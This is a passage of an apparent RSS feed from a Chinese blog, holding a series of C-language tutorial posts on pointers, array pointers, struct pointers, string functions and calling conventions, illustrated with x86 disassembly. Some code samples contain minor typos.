004010A4 mov ecx,dword ptr [ebp-8]
004010A7 mov dword ptr [eax+8],ecx
004010AA mov edx,dword ptr [ebp-4]
004010AD mov dword ptr [eax+0Ch],edx
004010B0 call @ILT+5(Plus) (0040100a)
004010B5 add esp,10h
16: int Plus(Student s)
17: {
00401020 push ebp
00401021 mov ebp,esp
00401023 sub esp,40h
00401026 push ebx
00401027 push esi
00401028 push edi
00401029 lea edi,[ebp-40h]
0040102C mov ecx,10h
00401031 mov eax,0CCCCCCCCh
00401036 rep stos dword ptr [edi]
18: return s.a+s.b+s.c+s.d;
00401038 mov eax,dword ptr [ebp+8]
0040103B add eax,dword ptr [ebp+0Ch]
0040103E add eax,dword ptr [ebp+10h]
00401041 add eax,dword ptr [ebp+14h]
19: }
//经过观察我们可以发现，结构体参数是通过复制结构体传递参数的
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="将函数写到结构体里面观察反汇编"&gt;将函数写到结构体里面，观察反汇编&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct Student
{
 int a;
 int b;
 int c;
 int d;
 int Plus()
 {
 return a+b+c+d;
 }
};
int main()
{
 Student s = {1,2,3,4};
 s.Plus();
 return 0;
}
14: int Plus()
15: {
00401060 push ebp
00401061 mov ebp,esp
00401063 sub esp,44h
00401066 push ebx
00401067 push esi
00401068 push edi
00401069 push ecx
0040106A lea edi,[ebp-44h]
0040106D mov ecx,11h
00401072 mov eax,0CCCCCCCCh
00401077 rep stos dword ptr [edi]
00401079 pop ecx
0040107A mov dword ptr [ebp-4],ecx
16: return a+b+c+d;
0040107D mov eax,dword ptr [ebp-4]
00401080 mov eax,dword ptr [eax]
00401082 mov ecx,dword ptr [ebp-4]
00401085 add eax,dword ptr [ecx+4]
00401088 mov edx,dword ptr [ebp-4]
0040108B add eax,dword ptr [edx+8]
0040108E mov ecx,dword ptr [ebp-4]
00401091 add eax,dword ptr [ecx+0Ch]
17: }
22: Student s = {1,2,3,4};
0040D4F8 mov dword ptr [ebp-10h],1
0040D4FF mov dword ptr [ebp-0Ch],2
0040D506 mov dword ptr [ebp-8],3
0040D50D mov dword ptr [ebp-4],4
23: s.Plus();
0040D514 lea ecx,[ebp-10h]
0040D517 call @ILT+10(Student::Plus) (0040100f)
24: return 0;
0040D51C xor eax,eax
//我们可以发现此时结构体是通过指针传参数。
//跟使用定义为指针的外部方法一样的调用方式和处理方式
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="观察结构体的大小"&gt;观察结构体的大小:&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct Student
{
 int a;
 int b;
 int c;
 int d;
 int Plus()
 {
 return a+b+c+d;
 }
};
int main()
{
 Student s = {1,2,3,4};
 s.Plus();
 return 0;
}
//对比
struct Student
{
 int a;
 int b;
 int c;
 int d;
};
 int Plus(Student* s)
 {
 return s=&amp;gt;a+s=&amp;gt;b+s-&amp;gt;c+s-&amp;gt;d;
 }
int main()
{
 Student s = {1,2,3,4};
 Plus(&amp;amp;s);
 return 0;
}
//我们发现上述两种定义方式基本一样
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：&lt;/p&gt;</description></item><item><title>C语言22 调用约定和函数指针</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8022-%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A%E5%92%8C%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88-c%E8%AF%AD%E8%A8%8022%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A%E5%92%8C%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88/</link><pubDate>Sat, 20 Jan 2018 14:12:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8022-%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A%E5%92%8C%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88-c%E8%AF%AD%E8%A8%8022%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A%E5%92%8C%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88/</guid><description>&lt;h2 id="函数调用约定"&gt;函数调用约定&lt;/h2&gt;
&lt;p&gt;就是告诉编译器：怎么传递参数，怎么传递返回值，怎么平衡堆栈&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int method(int x,int y)
{
 return x+y;
}
//调用
method(1,2);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="常见的几种调用约定"&gt;常见的几种调用约定:&lt;/h2&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;调用约定&lt;/th&gt;
 &lt;th&gt;参数压栈顺序&lt;/th&gt;
 &lt;th&gt;平衡堆栈&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;__cdecl&lt;/td&gt;
 &lt;td&gt;从右至左入栈&lt;/td&gt;
 &lt;td&gt;调用者清理栈&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;__stdcall&lt;/td&gt;
 &lt;td&gt;从右至左入栈&lt;/td&gt;
 &lt;td&gt;自身清理堆栈&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;__fastcall&lt;/td&gt;
 &lt;td&gt;ECX/EDX 传送前两个，剩下：从右至左入栈&lt;/td&gt;
 &lt;td&gt;自身清理堆栈&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;int __stdcall method(int x,int y)
{
 return x+y;
}
//调用
method(1,2);
//观察反汇编堆栈变化
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PS:一般情况下自带库默认使用 &lt;code&gt;__stdcall&lt;/code&gt; 我们写的代码默认使用 &lt;code&gt;__cdecl&lt;/code&gt;&lt;/p&gt;</description></item><item><title>C语言21 指针数组与数组指针</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8021-%E6%8C%87%E9%92%88%E6%95%B0%E7%BB%84%E4%B8%8E%E6%95%B0%E7%BB%84%E6%8C%87%E9%92%88-c%E8%AF%AD%E8%A8%8021%E6%8C%87%E9%92%88%E6%95%B0%E7%BB%84%E4%B8%8E%E6%95%B0%E7%BB%84%E6%8C%87%E9%92%88/</link><pubDate>Thu, 18 Jan 2018 13:18:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8021-%E6%8C%87%E9%92%88%E6%95%B0%E7%BB%84%E4%B8%8E%E6%95%B0%E7%BB%84%E6%8C%87%E9%92%88-c%E8%AF%AD%E8%A8%8021%E6%8C%87%E9%92%88%E6%95%B0%E7%BB%84%E4%B8%8E%E6%95%B0%E7%BB%84%E6%8C%87%E9%92%88/</guid><description>&lt;h2 id="指针数组的定义"&gt;指针数组的定义&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char arr[10]; //10 char
char* arr[10]; //10 指针(char*)
Point* arr[10]; //10 指针(Point*)
int******** arr[10]; 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="指针数组的赋值"&gt;指针数组的赋值&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char* a = &amp;quot;Hello&amp;quot;;
char* b = &amp;quot;World&amp;quot;;
//方式1:
char* arr[2]= {a,b};
//方式2:
char* arr[2];
arr[0]=a;
arr[1]=b;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="结构体指针数组"&gt;结构体指针数组&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct Point
{
 int x;
 int y;
}
Point p; //8字节 一个结构体
Point arr[10]; //8字节 * 10 结构体数组
Point* arrPoint[10]; //4字节 * 10 结构体指针数组
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="分析下面的代码"&gt;分析下面的代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int arr[] = {1,2,3,4,5,6,7,8,9,0};
int* p =&amp;amp;arr[0]; //数组首个元素地址
int* p = arr; //数组首个元素地址 跟上面的表达方式是一样的 也可以说是简写形式
int* p =&amp;amp;arr; //什么情况？ --编译失败 (int(*)[10] 类型 不可以转换为 int* 类型)
//我们使用显式声明类型来躲避编译器检查
int* x = (int*)&amp;amp;arr;
//我们编译后发现 此时的x 值和上面的p值是一样的
//那么区别是什么呢
//当我们使用&amp;amp;arr 获得的类型就是 int(*)[10] 类型 也就是数组指针类型
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="数组指针的定义"&gt;数组指针的定义&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//定义数组指针的写法
int(*px)[5];//一维数组指针 px 这里就是当前指针的名字
char(*px)[3]; //px 就是指针的名字
int(*px)[2][2]; //二维数组指针 px 就是指针的名字
char(*px)[3][3][3]; //三维数组指针 px 就是指针的名字
//思考：
//int *p[5] 与 int(*p)[5] 有什么区别?
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="数组指针的宽度与赋值"&gt;数组指针的宽度与赋值&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int(*px1)p[5]; //一维数组指针
char(*px2)[3];
int(*px3)[2][2]; //二维数组指针
char(*px4)[3][3][3]; //三维数组指针
printf(&amp;quot;%d %d %d %d\n&amp;quot;,sizeof(px1),sizeof(px2),sizeof(px3),sizeof(px4));
// 4 4 4 4
px1 = (int (*)[5])1;
px2 = (char (*)[3])2;
px3 = (int (*)[2][2])3;
px4 = (char (*)[3][3][3])4;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="数组指针的运算"&gt;数组指针的运算&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int(*px1)p[5]; //一维数组指针
char(*px2)[3];
int(*px3)[2][2]; //二维数组指针
char(*px4)[3][3][3]; //三维数组指针
px1 = (int (*)[5])1;
px2 = (char (*)[3])1;
px3 = (int (*)[2][2])1;
px4 = (char (*)[3][3][3])1;
px1++; //int(4) *5 +20 =21
px2++; //char(1) *3 +3 =4
px3++; //int(4) *2 *2 +16 =17
px4++; //char(1) *3 *3 *3 +9 =10
printf(&amp;quot;%d %d %d %d \n&amp;quot;,px1,px2,px3,px4);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="数组指针的使用"&gt;数组指针的使用&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//第一种：
int arr[] = {1,2,3,4,5,6,7,8,9,0}
int(*px)[10]=&amp;amp;arr
//*px 是啥类型？ =&amp;gt; int[10] 数组类型
//px[0] 等价于 *px 所以 *px 也等于 int[10]数组
printf(&amp;quot;%d %d \n&amp;quot;,(*px)[0],px[0][0]);
px++; //后 (*px)[0]就访问整个数组地址后的地址内的数据
//第二种：
int arr[3][3] = {
 {1,2,3},
 {4,5,6},
 {7,8,9}
};
//此时的 px指针 指向的 {1,2,3}这个数组的首地址
int(*px)[3] = &amp;amp;arr[0];
// *px -&amp;gt; 此时就是数组{1,2,3}本身
//越过第一个数组 此时px指针指向 {4，5，6}的首地址
px++;
printf(&amp;quot;%d %d \n&amp;quot;,(*px)[0],px[0][0]);
//这里打印的就是 4 4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="二维数组指针可以访问一维数组吗"&gt;二维数组指针可以访问一维数组吗？&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int arr[] = {1,2,3,4,5,6,7,8,9,0};
int(*px)[2][2] = (int(*)[2][2])arr;
//思考:
// *px 是什么类型
//int[2][2] 二维数组
//(*px)[1][1]的值是什么？ px[0][1][1]的值是什么
//4
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>C语言20 结构体指针</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8020-%E7%BB%93%E6%9E%84%E4%BD%93%E6%8C%87%E9%92%88-c%E8%AF%AD%E8%A8%8020%E7%BB%93%E6%9E%84%E4%BD%93%E6%8C%87%E9%92%88/</link><pubDate>Wed, 17 Jan 2018 15:38:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8020-%E7%BB%93%E6%9E%84%E4%BD%93%E6%8C%87%E9%92%88-c%E8%AF%AD%E8%A8%8020%E7%BB%93%E6%9E%84%E4%BD%93%E6%8C%87%E9%92%88/</guid><description>&lt;h2 id="探测结构体指针的特性"&gt;探测结构体指针的特性&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct Point
{
 int x;
 int y;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;++、–&lt;/li&gt;
&lt;li&gt;加法与减法&lt;/li&gt;
&lt;li&gt;指针相减&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="使用结构体指针"&gt;使用结构体指针&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//创建结构体
Point p;
p.x=10;
p.y=20;
//声明结构体指针
Point* ps;
//为结构体指针赋值
ps = &amp;amp;p;
//通过指针读取数据
printf(&amp;quot;%d \n&amp;quot;,ps-&amp;gt;x);
//通过指针修改数据
ps-&amp;gt;y=100;
printf(&amp;quot;%d\n&amp;quot;,ps=&amp;gt;y);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="结构体指针一定要指向结构体吗"&gt;结构体指针一定要指向结构体吗？&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct Point
{
 int x;
 int y;
}
int arr[10]={1,2,3,4,5,6,7,8,9,10}
Point* p = (Point*)arr;
for(int i = 0;i &amp;lt; 5;i++,p++)
{
 printf(&amp;quot;%d %d\n&amp;quot;,p-&amp;gt;x,p-&amp;gt;y);
}
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>C语言19 指针取值的两种方式</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8019-%E6%8C%87%E9%92%88%E5%8F%96%E5%80%BC%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E5%BC%8F-c%E8%AF%AD%E8%A8%8019%E6%8C%87%E9%92%88%E5%8F%96%E5%80%BC%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E5%BC%8F/</link><pubDate>Wed, 17 Jan 2018 06:03:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8019-%E6%8C%87%E9%92%88%E5%8F%96%E5%80%BC%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E5%BC%8F-c%E8%AF%AD%E8%A8%8019%E6%8C%87%E9%92%88%E5%8F%96%E5%80%BC%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E5%BC%8F/</guid><description>&lt;h2 id="一级指针和多级指针"&gt;一级指针和多级指针&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int i =100;
int* p1 = &amp;amp;i; 
int** p2 = &amp;amp;p1; 
int*** p3 = &amp;amp;p2; 
int**** p4 = &amp;amp;p3; 
int***** p5 = &amp;amp;p4 
int****** p6 = &amp;amp;p5; 
int******* p7 = &amp;amp;p6;
int****** px1 = *(p7);
int***** px2 = *(px1);
int**** px3 = *(px2);
int*** px4 = *(px3);
int** px5 = *(px4);
int* px6 = *(px5);
int px7 = *(px6);
int px7 = *(*(*(*(*(*(*(p7))))))); 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="与的互换表示"&gt;*()与[]的互换表示&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int* p = (int*)1;
printf(&amp;quot;%d %d \n&amp;quot;,p[0],*p);  //p[0] = *(p+0) = *p 
int** p = (int**)1;
printf(&amp;quot;%d %d \n&amp;quot;,p[0][0],**p); 
printf(&amp;quot;%d %d \n&amp;quot;,p[1][2],*(*(p+1)+2));
int*** p = (int***)1;
printf(&amp;quot;%d %d \n&amp;quot;,p[1][2][3],*(*(*(p+1)+2)+3)); 
同理：
*(*(*(*(*(*(*(p7)))))))) 
= *(*(*(*(*(*(p7+0)+0)+0)+0)+0)+0)
= p7[0][0][0][0][0][0][0] 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="总结"&gt;总结&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;*(p+i) = p[i] 
*(*(p+i)+k) = p[i][k] 
*(*(*(p+i)+k)+m) = p[i][k][m] 
*(*(*(*(*(p+i)+k)+m)+w)+t) = p[i][k][m][w][t] 
*() 与 []可以相互转换 
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>C语言18 指针与字符串</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8018-%E6%8C%87%E9%92%88%E4%B8%8E%E5%AD%97%E7%AC%A6%E4%B8%B2-c%E8%AF%AD%E8%A8%8018%E6%8C%87%E9%92%88%E4%B8%8E%E5%AD%97%E7%AC%A6%E4%B8%B2/</link><pubDate>Mon, 15 Jan 2018 09:20:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8018-%E6%8C%87%E9%92%88%E4%B8%8E%E5%AD%97%E7%AC%A6%E4%B8%B2-c%E8%AF%AD%E8%A8%8018%E6%8C%87%E9%92%88%E4%B8%8E%E5%AD%97%E7%AC%A6%E4%B8%B2/</guid><description>&lt;h2 id="字符串的几种表示方式有什么区别"&gt;字符串的几种表示方式有什么区别?&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char str[6] = {&amp;quot;A&amp;quot;,&amp;quot;B&amp;quot;,&amp;quot;C&amp;quot;,&amp;quot;D&amp;quot;,&amp;quot;E&amp;quot;,&amp;quot;F&amp;quot;}; //&amp;quot;\0&amp;quot; 或者0 --堆栈中 局部变量
char str[] = &amp;quot;ABCDE&amp;quot;; //编译器末尾填0 常量区
char* str= &amp;quot;ABCDE&amp;quot;; //常量区
//打印
printf(&amp;quot;%s \n&amp;quot;,str);
//字符串打印时 遇到 0 才会停止
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="常用的字符串函数"&gt;常用的字符串函数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;1、int strlen(char* s)
返回值是字符串S的长度，不包括结束符&amp;quot;/0&amp;quot;
弊端：字符串中英文混合的话。返回的长度有问题，因为中文占用两个字节
2、char* strcpy(char* dest, char* src)
复制字符串src到dest中。返回指针为dest的值
3、char* strcat(char* dest, char* src)
将字符串src添加到dest尾部。返回指针为dest的值
4、int strcmp(char* s1, char* s2)
字符串对比，一样返回0 不一样返回非0
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="指针函数"&gt;指针函数&lt;/h2&gt;
&lt;p&gt;本质就是函数，只不过函数的返回类型是某一类型的指针&lt;br&gt;
如：&lt;/p&gt;</description></item><item><title>C语言17 数组参数传递</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8017-%E6%95%B0%E7%BB%84%E5%8F%82%E6%95%B0%E4%BC%A0%E9%80%92-c%E8%AF%AD%E8%A8%8017%E6%95%B0%E7%BB%84%E5%8F%82%E6%95%B0%E4%BC%A0%E9%80%92/</link><pubDate>Sun, 14 Jan 2018 14:37:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8017-%E6%95%B0%E7%BB%84%E5%8F%82%E6%95%B0%E4%BC%A0%E9%80%92-c%E8%AF%AD%E8%A8%8017%E6%95%B0%E7%BB%84%E5%8F%82%E6%95%B0%E4%BC%A0%E9%80%92/</guid><description>&lt;h2 id="基本类型参数传递"&gt;基本类型参数传递&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int x =1;
void plus(int p)
{
 p = p+1;
}
printf(&amp;quot;%d \n&amp;quot;,x);
//x的值是多少？
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="数组作为参数"&gt;数组作为参数&lt;/h2&gt;
&lt;p&gt;编写一个函数，能够打印任意整形数组的值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void PrintArray(int arr[],int nLength)
{
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>C语言16 取值运算符</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8016-%E5%8F%96%E5%80%BC%E8%BF%90%E7%AE%97%E7%AC%A6-c%E8%AF%AD%E8%A8%8016%E5%8F%96%E5%80%BC%E8%BF%90%E7%AE%97%E7%AC%A6/</link><pubDate>Fri, 12 Jan 2018 22:52:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8016-%E5%8F%96%E5%80%BC%E8%BF%90%E7%AE%97%E7%AC%A6-c%E8%AF%AD%E8%A8%8016%E5%8F%96%E5%80%BC%E8%BF%90%E7%AE%97%E7%AC%A6/</guid><description>&lt;h2 id="的几种用途"&gt;“*”的几种用途&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;乘法运算符&lt;/p&gt;
&lt;p&gt;int x = 1;
int y = 2;
int z = x * y;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;定义新的类型&lt;/p&gt;
&lt;p&gt;char x;
char* x;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;取值运算符&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;指针类型的变量
int* a =(int*)1;
printf(&amp;quot;%x \n&amp;quot;,&lt;em&gt;(a +1));
10: int&lt;/em&gt; a =(int*)1;
00401028 mov dword ptr [ebp-4],1
11: printf(&amp;quot;%x \n&amp;quot;,*(a +1));
0040102F mov eax,dword ptr [ebp-4]
00401032 mov ecx,dword ptr [eax+4]
00401035 push ecx
00401036 push offset string &amp;quot;%x \n&amp;quot; (0042201c)
0040103B call printf (00401070)
00401040 add esp,8
当然这里运行的时候肯定出错 因为 1 是一个异常的不存在的地址&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="探测--指针类型-的类型"&gt;探测 * 指针类型 的类型&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int*** a;
int***** b;
int******* c;
int* d;
//int x = *(a+1);
//int x = *(b++);
//int x = *(c-5);
//int x = *(d+6);
//总结
// *加指针类型 的类型是 指针类型减去一个*
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="取值运算符举例"&gt;取值运算符举例&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int x=1; int x =1;
int* p = &amp;amp;x; int* p = &amp;amp;x;
printf(&amp;quot;%x %x \n&amp;quot;,p,*(p)); int** p2 = &amp;amp;p;
*(p)=2; int*** p3 = &amp;amp;p2;
printf(&amp;quot;%d \n&amp;quot;,x); int r = *(*(*(p3)));
 printf(&amp;quot;%d \n&amp;quot;,r);
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>C语言15 取地址符号&amp;的使用</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8015-%E5%8F%96%E5%9C%B0%E5%9D%80%E7%AC%A6%E5%8F%B7%E7%9A%84%E4%BD%BF%E7%94%A8-c%E8%AF%AD%E8%A8%8015%E5%8F%96%E5%9C%B0%E5%9D%80%E7%AC%A6%E5%8F%B7%E7%9A%84%E4%BD%BF%E7%94%A8/</link><pubDate>Fri, 12 Jan 2018 12:53:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8015-%E5%8F%96%E5%9C%B0%E5%9D%80%E7%AC%A6%E5%8F%B7%E7%9A%84%E4%BD%BF%E7%94%A8-c%E8%AF%AD%E8%A8%8015%E5%8F%96%E5%9C%B0%E5%9D%80%E7%AC%A6%E5%8F%B7%E7%9A%84%E4%BD%BF%E7%94%A8/</guid><description>&lt;p&gt;&amp;amp;符号是取地址符，任何变量都可以使用&amp;amp;来获取地址，但不能用在常量上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct Point
{
 int x;
 int y;
};
char a;
short b;
int c;
Point p;
printf(&amp;quot;%p %p %p %p \n&amp;quot;,&amp;amp;a,&amp;amp;b,&amp;amp;c,&amp;amp;p);
printf(&amp;quot;%x %x %x %x \n&amp;quot;,&amp;amp;a,&amp;amp;b,&amp;amp;c,&amp;amp;p);
printf(&amp;quot;%x \n&amp;quot;,&amp;amp;10);
16: char a;
17: short b;
18: int c;
19: Point p;
20:
21: printf(&amp;quot;%p %p %p %p \n&amp;quot;,&amp;amp;a,&amp;amp;b,&amp;amp;c,&amp;amp;p);
0040D408 lea eax,[ebp-14h]
0040D40B push eax
0040D40C lea ecx,[ebp-0Ch]
0040D40F push ecx
0040D410 lea edx,[ebp-8]
0040D413 push edx
0040D414 lea eax,[ebp-4]
0040D417 push eax
0040D418 push offset string &amp;quot;%p %p %p %p \n&amp;quot; (00422e90)
0040D41D call printf (0040d6c0)
0040D422 add esp,14h
22: printf(&amp;quot;%x %x %x %x \n&amp;quot;,&amp;amp;a,&amp;amp;b,&amp;amp;c,&amp;amp;p);
0040D425 lea ecx,[ebp-14h]
0040D428 push ecx
0040D429 lea edx,[ebp-0Ch]
0040D42C push edx
0040D42D lea eax,[ebp-8]
0040D430 push eax
0040D431 lea ecx,[ebp-4]
0040D434 push ecx
0040D435 push offset string &amp;quot;%x %x %x %x \n&amp;quot; (00422e80)
0040D43A call printf (0040d6c0)
0040D43F add esp,14h
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="探测--变量的类型"&gt;探测 &amp;amp; 变量的类型&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char a;
short* b;
int** c;
int x = &amp;amp;a;
int x = &amp;amp;b;
int x = &amp;amp;c;
以上代码全都无法编译成功
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明 使用了 &amp;amp;符号后 将会生成 &amp;amp;符号后类型的指针(加一个*)&lt;/p&gt;</description></item><item><title>C语言14 指针类型</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8014-%E6%8C%87%E9%92%88%E7%B1%BB%E5%9E%8B-c%E8%AF%AD%E8%A8%8014%E6%8C%87%E9%92%88%E7%B1%BB%E5%9E%8B/</link><pubDate>Wed, 10 Jan 2018 23:11:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8014-%E6%8C%87%E9%92%88%E7%B1%BB%E5%9E%8B-c%E8%AF%AD%E8%A8%8014%E6%8C%87%E9%92%88%E7%B1%BB%E5%9E%8B/</guid><description>&lt;h1 id="c语言14-指针类型"&gt;C语言14 指针类型&lt;/h1&gt;
&lt;p&gt;指针是C语言中的一种数据类型，&lt;/p&gt;
&lt;h2 id="定义带-类型的变量"&gt;定义带 *类型的变量&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char x; char* x;
short y; short* y;
int z; int* z;
float f; float* f;
double d; double* d;
Student st; Student* st;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;任何带有&lt;code&gt;*&lt;/code&gt;的变量类型的标准写法：变量类型* 变量名&lt;/li&gt;
&lt;li&gt;任何类型都可以带&lt;code&gt;*&lt;/code&gt; 加上&lt;code&gt;*&lt;/code&gt; 以后是新的类型，统称为“指针类型”&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*&lt;/code&gt;可以使任意多个。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="指针变量赋值"&gt;指针变量赋值&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char* x; char*** x; char******* x;
short* ~~
int* ~~
Student* ~~
x = (char*)1;
y = (short*)2;
int******* x;
int******* y;
x = (int*******)4;
y = x;
char x;
x = 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="指针变量的宽度"&gt;指针变量的宽度&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;char x; char* x; char******** x;
short y; short* y; short******** y;
~~
x=1; x=(char*)1; x=(char********)1;
~~
9: char* x;
10: short* y;
11: int* z;
12:
13: x = (char*)1;
00401028 C7 45 FC 01 00 00 00 mov dword ptr [ebp-4],1
14: y=(short*)2;
0040102F C7 45 F8 02 00 00 00 mov dword ptr [ebp-8],2
15: z=(int*)3;
00401036 C7 45 F4 03 00 00 00 mov dword ptr [ebp-0Ch],3
9: char******** x;
10: short******** y;
11: int******** z;
12:
13: x = (char********)1;
00401028 C7 45 FC 01 00 00 00 mov dword ptr [ebp-4],1
14: y=(short********)2;
0040102F C7 45 F8 02 00 00 00 mov dword ptr [ebp-8],2
15: z=(int********)3;
00401036 C7 45 F4 03 00 00 00 mov dword ptr [ebp-0Ch],3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结：&lt;br&gt;
